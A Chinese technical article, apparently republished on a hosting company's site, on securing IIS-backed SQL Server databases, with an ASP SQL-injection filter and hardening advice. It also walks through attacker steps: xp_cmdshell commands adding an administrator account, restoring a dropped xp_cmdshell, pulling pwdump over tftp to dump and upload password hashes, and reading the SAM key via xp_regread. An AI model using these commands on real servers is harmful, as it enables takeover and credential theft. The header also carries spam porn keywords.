亚洲韩日午夜视频,欧美日韩在线精品一区二区三区,韩国超清无码一区二区三区,亚洲国产成人影院播放,久草新在线,在线看片AV色

您好,歡迎來到思海網絡,我們將竭誠為您提供優(yōu)質的服務! 誠征網絡推廣 | 網站備案 | 幫助中心 | 軟件下載 | 購買流程 | 付款方式 | 聯(lián)系我們 [ 會員登錄/注冊 ]
促銷推廣
客服中心
業(yè)務咨詢
有事點擊這里…  531199185
有事點擊這里…  61352289
點擊這里給我發(fā)消息  81721488
有事點擊這里…  376585780
有事點擊這里…  872642803
有事點擊這里…  459248018
有事點擊這里…  61352288
有事點擊這里…  380791050
技術支持
有事點擊這里…  714236853
有事點擊這里…  719304487
有事點擊這里…  1208894568
有事點擊這里…  61352289
在線客服
有事點擊這里…  531199185
有事點擊這里…  61352288
有事點擊這里…  983054746
有事點擊這里…  893984210
當前位置:首頁 >> 技術文章 >> 文章瀏覽
技術文章

從IIS到SQLerver數(shù)據庫安全

添加時間:2013-11-2 17:45:50  添加: 思海網絡 

  從codered到nimda等,一大堆蠕蟲把原來需要人工利用的漏洞都變成了程序自動利用了,大家還想去手工操作這些IIS漏洞么?讓我們調整重心,去看看服務器常用的數(shù)據庫吧。

  一般網站都是基于數(shù)據庫的,特別是ASP、PHP、JSP這樣的用數(shù)據庫來動態(tài)顯示的網站。很多網站可能多注意的是操作系統(tǒng)的漏洞,但是對數(shù)據庫和這些腳本的安全總是忽略,也沒有太多注意。

  從最普遍的腳本問題開始,這些都是老話題了,大家可以參考Hectic寫的《關于數(shù)據庫的簡單入侵和無賴破壞,以天融信做例子》,該文章對從 SQL腳本問題說得非常詳細。對于腳本安全的解決,也可以通過過濾來實現(xiàn),可以參考我以前寫的。對于ASP來說,可以使用下面這個過濾函數(shù):

    

        Function Filter_SQL(strData)
  Dim strFilter
  Dim blnFlag
  Dim i
  strFilter="’,;,//,--,@,_,exec,declare"
  blnFlag=Flase
  Dim arrayFilter
  arrayFilter=Split(strFilter,",")
  For i=0 To UBound(arrayFilter)
  If Instr(strData,arrayFilter(i))>0 Then
  blnFlag=True
  Exit For
  End If
  Next
  If blnFlag Then
  Response.Redirect "wrong.asp"
  Else
  Filter_SQL=strData
  End If
  End Function

    
    對于MS SQL Server數(shù)據庫來說,安全問題不僅僅局限在腳本上了。“天殺的微軟”的系統(tǒng)性很強,整個基于WINDOWS系統(tǒng)的應用都有很強的關聯(lián)性,對SQL Server來說,基本可以把數(shù)據庫管理和系統(tǒng)管理等同起來了。SQL Server默認的管理員帳號“sa”的密碼是空的,這給多數(shù)NT服務器產生一個安全漏洞。小榕的“SQLRCMD”,就能夠利用獲得的數(shù)據庫管理員帳號執(zhí)行系統(tǒng)命令。

  在SQL Server中有很多系統(tǒng)存儲過程,有些是數(shù)據庫內部使用的,還有一些就是通過執(zhí)行存儲過程來調用系統(tǒng)命令。

  系統(tǒng)存儲過程:xp_cmdshell

  就是以操作系統(tǒng)命令行解釋器的方式執(zhí)行給定的命令字符串。它就具體語法是:xp_cmdshell {’command_string’} [, no_output]

  xp_cmdshell在默認情況下,只有 sysadmin 的成員才能執(zhí)行。但是,sysadmin也可以授予其他用戶這個執(zhí)行權限。在早期版本中,獲得 xp_cmdshell 執(zhí)行權限的用戶在 SQL Server 服務的用戶帳戶中運行命令。可以通過配置選項配置 SQL Server,以便對 SQL Server 無 sa 訪問權限的用戶能夠在SQLExecutiveCmdExec Windows NT 帳戶中運行 xp_cmdshell。在 SQL Server 7.0 中,該帳戶稱為 SQLAgentCmdExec。現(xiàn)在對于SQL Server2000,只要有一個能執(zhí)行該存儲過程的帳號就可以直接運行命令了。

   對于 NT 和 WIN2000,當用戶不是 sysadmin 組的成員時,xp_cmdshell 將模擬使用xp_sqlagent_proxy_account 指定的 SQL Server 代理程序的代理帳戶。如果代理帳戶不能用,則 xp_cmdshell 將失敗。所以即使有一個帳戶是master數(shù)據庫的db_owner,也不能執(zhí)行這個存儲過程。

  如果我們有一個能執(zhí)行xp_cmdshell的數(shù)據庫帳號,比如是空口令的sa帳號。那么我們可以執(zhí)行這樣的命令:

  exec xp_cmdshell ’net user refdom 123456 /add’

  exec xp_cmdshell ’net localgroup administrators refdom /add’

  上面兩次調用就在系統(tǒng)的管理員組中添加了一個用戶:refdom

  當我們獲得數(shù)據庫的sa管理員帳號后,就應該可以完全控制這個機器了。可見數(shù)據庫安全的重要性。

  下面這些存儲過程都是對Public可以執(zhí)行的:

  xp_fileexist,用來確定一個文件是否存在。

  xp_getfiledetails,可以獲得文件詳細資料。

  xp_dirtree,可以展開你需要了解的目錄,獲得所有目錄深度。

  Xp_getnetname,可以獲得服務器名稱。

  還有可以操作注冊表的存儲過程,這些不是對Public可以執(zhí)行的,需要系統(tǒng)管理員或者授權執(zhí)行:

  Xp_regaddmultistring

  Xp_regdeletekey

  Xp_regdeletevalue

  Xp_regenumvalues

  Xp_regread (對Public可以執(zhí)行)

  Xp_regremovemultistring

  Xp_regwrite

  SQL Server的安全配置

  除跟著微軟打滿所有補丁外,還需要加強數(shù)據庫的安全。

   首先,你需要加強象sa這樣的帳號的密碼,跟系統(tǒng)帳號的使用配置相似,一般操作數(shù)據庫不要使用象sa這樣的最高權限的帳號,而使用能滿足你的要求的一般帳號。

  接著對擴展存儲過程開始大屠殺,首先就是xp_cmdshell,還有就是上面那些一大堆存儲過程,都drop吧,一般也用不著。

  執(zhí)行:

    

        use master
  sp_dropextendedproc ’xp_cmdshell’

    
    去掉guest帳號,阻止非授權用戶訪問。

  去掉不必要的網絡協(xié)議。

  加強對數(shù)據庫登陸的日志記錄,最好記錄所有登陸事件。可以用下面的簡單DOS命令來查看日志:

  findstr /C:"登錄" d:\Microsoft SQL Server\MSSQL\LOG\*.*

  用管理員帳號定期檢查所有帳號,是否密碼為空或者過于簡單,比如下面的語句:

  

       Use master
  Select name,Password from syslogins where password is null

    
    用下面語句對所有帳號,檢查對存儲過程和擴展存儲過程的執(zhí)行權,提防不必要的執(zhí)行權限擴散:

   

       Use master
  Select sysobjects.name From sysobjects,
  sysprotects Where sysprotects.uid = 0
  AND xtype IN (’X’,’P’) AND sysobjects.id = sysprotects.id

    
    加強數(shù)據庫的安全是非常重要的,有的數(shù)據庫服務器是和WEB服務器隔離開的,這就同MAIL服務器一樣,數(shù)據庫的日志可能就基本很少去查看,這將會成為管理員的一個疏忽點。類似DNS、MAIL等等,數(shù)據庫服務器往往成為各種入侵的跳板。

  下面是一些關于數(shù)據庫的問答和技巧:

  1、獲得SA權限后,卻不能執(zhí)行xp_cmdshell存儲過程怎么辦?

  答:可能是已經把xp_cmdshell等擴展存儲過程刪除了,可以用這個存儲過程把xp_cmdshell恢復。

  sp_addextendedproc ’xp_cmdshell’, ’xpsql70.dll’

  2、通過數(shù)據庫用pwdump獲得系統(tǒng)管理員密碼

  先上傳一個pwdump

  tftp -i GET pwdump3.exe pwdump3.exe

  tftp -i GET lsaext.dll lsaext.dll

  tftp -i GET pwservice.exe pwservice.exe

  pwdump3 127.0.0.1 outfile.txt

  tftp PUT outfile.txt outfile.txt

  然后再用解密工具l0pht等等破解這些密碼。

  3、從數(shù)據庫讀取系統(tǒng)管理員密碼

  能讀出加密的密碼是NT的"administrator"帳號也不能做的,SQL Server能讀出來是使用的“LocalSystem”帳號,這個帳號比administrator更高一級。可以使用下面這個存儲過程。不過讀出來的密碼是經過加密后的,然后再解密吧。

  xp_regread ’HKEY_LOCAL_MACHINE’,’SECURITY\SAM\Domains\Account’,’F’

  當然,數(shù)據庫安全和缺陷還有很多,還需要更多的研究。我對數(shù)據庫的學習還是起步階段,限于自己的水平,上面的難免有錯,歡迎大家指正和指教。如果你有更多關于數(shù)據庫的安全資料或者疑問,歡迎聯(lián)系我,Email: dongjw#staff.ccidnet.com (請將"#"改為"@")

關鍵字:數(shù)據庫、ASP、PHP、JSP、網

分享到:

頂部 】 【 關閉
版權所有:佛山思海電腦網絡有限公司 ©1998-2024 All Rights Reserved.
聯(lián)系電話:(0757)22630313、22633833
中華人民共和國增值電信業(yè)務經營許可證: 粵B1.B2-20030321 備案號:粵B2-20030321-1
網站公安備案編號:44060602000007 交互式欄目專項備案編號:200303DD003  
察察 工商 網安 舉報有獎  警警  手機打開網站